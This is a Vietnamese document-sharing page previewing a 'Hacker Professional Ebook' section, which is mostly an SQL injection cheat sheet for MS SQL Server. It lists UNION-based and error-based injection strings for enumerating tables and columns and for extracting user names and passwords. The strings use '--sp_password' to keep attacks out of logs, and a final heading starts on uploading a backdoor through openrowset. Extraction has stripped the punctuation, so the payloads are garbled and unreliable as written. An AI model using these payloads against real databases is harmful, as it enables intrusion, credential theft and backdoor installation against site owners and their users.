Đang chuẩn bị liên kết để tải về tài liệu:
Hacker Professional Ebook part 236

Đang chuẩn bị nút TẢI XUỐNG, xin hãy chờ

Tham khảo tài liệu 'hacker professional ebook part 236', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--sp_password Khai thác thông tin về các Table UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN PRODUCTS --sp_password Khai thác thông tin về Table and 38 convert int select top 1 table_name from information_schema.tables --sp_password Khai thác thông tin về các Table and 38 convert int select top 1 table_name from information_schema.tables where table_name not in PRODUCTS --sp_password 4. Khai thac thong tin ve Column - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Khai thác thông tin về Column and 38 convert int select top 1 column_name from information_schema.columns where table_name QUESTIONS --sp_password Khai thác thông tin về các Column and 38 convert int select top 1 column_name from information_schema.columns where table_name QUESTIONS and column_name not in QUEST_ID --sp_password 5. Khai thac thong tin ve Content - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Khai thác thông tin với kiểu ngày giờ and 1 convert char 20 select top 1 NgayXuat from PhieuXuat --sp_password Khai thác thông tin dòng tiếp theo với kiểu ngày giờ and 1 convert char 20 select top 1 NgayXuat from PhieuXuat where NgayXuat Mar 12 2003 12 00AM --sp_password Khai thác thông tin về dòng đầu tiên and 1 convert int select top 1 userName userPass from Users --sp_password Khai thác thông tin dòng tiếp theo and 1 convert int select top 1 userName userPass from Users where userName not in admin --sp_password 6. Khai thac thong tin ve Table Column Content cua cac database tiep Chú ý để nhận biết kiểu của cột dữ liệu ta dùng image để kiểm tra -Nếu là trường kiểu ngày giờ Dùng char nchar nvarchar varchar B. Upload backdoor lên host - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 1. Xác định mức quyền và cho phép thực thi lệnh của MS SQL server - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Xác định mức quyền select from openrowset sqloledb -- Thay đổi .